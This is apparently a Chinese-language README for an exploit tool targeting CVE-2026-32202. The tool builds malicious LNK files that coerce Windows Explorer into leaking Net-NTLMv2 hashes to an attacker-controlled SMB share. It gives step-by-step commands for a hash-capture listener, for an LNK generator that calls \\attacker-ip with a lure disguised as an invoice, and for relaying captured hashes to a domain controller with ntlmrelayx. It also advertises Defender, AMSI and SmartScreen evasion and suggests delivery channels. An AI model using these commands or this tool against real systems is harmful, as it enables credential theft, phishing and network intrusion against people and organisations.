CVE-2026-32202

免责声明

本工具仅用于授权的红队演练和渗透测试。
未经明确许可对系统进行未授权使用属违法行为。
使用风险自负。作者对任何滥用或损害不承担任何责任。

描述
通过不完整的 Windows Shell 保护绕过（CVE-2026-32202）实现 NTLMv2 哈希强制获取。生成特制的 LNK 文件，在资源管理器中打开或预览时强制进行 SMB/UNC 身份验证。低交互性，在 2026 年 4 月修复不充分的已修补系统上仍然有效。已在实战中积极使用。

主要特性

• 通过恶意 LNK（资源管理器预览 + 图标解析路径）实现零点击/最小交互的 Net-NTLMv2 泄露。
• 自定义 SMB 监听器用于哈希捕获（无需 Responder，日志更干净）。
• 稳定变体，降低 ETW/Defender 足迹。
• 部分 AMSI/SmartScreen 绕过模式。
• 可直接用于 ntlmrelayx 中继链（SMB、LDAP、HTTP 等）。

该漏洞利用的作用
该工具创建一个特制的 .LNK 文件，滥用 Shell 对 Target + IconEnvironmentDataBlock / ExtraData 结构中 UNC 路径的处理。当受害者浏览文件夹或悬停/预览文件时，Windows Shell 会向攻击者控制的 UNC 发起 SMB 连接，泄露机器/用户的 Net-NTLMv2 哈希。目标上不执行代码——仅进行凭据强制获取，用于中继或破解。

为何有用

• 在内网渗透测试/红队行动中快速获取初始访问权限（尤其是在钓鱼受限的隔离或加固环境中）。
• 非常适合向高价值目标（域控、文件服务器、Exchange、ADCS 等）进行 NTLM 中继。
• 在经典 Responder 被阻止或噪音过大的环境中仍然有效。
• 在 Win10 21H2–22H2、Win11 23H2–26H1、Server 2019–2025 上成功率极高（测试版本见下文）。

已测试环境

• Windows 11 24H2（build 26100.XXXX）
• Windows 11 23H2 / 25H2
• Windows 10 22H2
• Windows Server 2022 / 2025（核心版 + 桌面体验版）
• 在 2026 年 4 月累积更新后部分有效（已确认野外存在不完整补丁）。

依赖项 安装：pip install -r requirements.txt

使用方法

# 1. 启动捕获服务器（攻击者主机）
python smbcapture.py -i 0.0.0.0 -p 445 --output hashes.txt

# 2. 生成恶意 LNK
python coercegen.py --unc \\attacker-ip\share\test --output "Invoice_Q2.lnk" --spoof "invoice.pdf"

# 可选：稳定模式或绕过模式
python coercestable.py --unc \\attacker-ip\share\test --output "Report.lnk"

# 3. 投递 LNK（U 盘、共享、邮件附件、OneDrive 等）

# 4. 在终端和文件中等待哈希。中继示例：
ntlmrelayx.py -t smb://target-dc -c whoami --no-wmipriv
# 或 LDAP 中继用于 RBCD，HTTP 用于 ADCS 证书等

漏洞利用

href

局限性

• 需要受害者与所在文件夹进行交互（资源管理器预览/悬停通常就足够）。
• 现代网络分段 + SMB 签名 + NTLM 限制会降低中继成功率。
• 不是完整的 RCE——仅获取凭据材料。
• 补丁状态很重要；2026 年 4 月后完全更新的系统可能需要绕过变体。

根本原因（简述）
Windows Shell 对 LNK 图标/目标解析的 UNC 路径清理和 ExtraData 块处理存在不完整修复。本应阻止未授权网络欺骗的保护机制在 Shell 命名空间枚举期间仍会触发 NTLM 身份验证。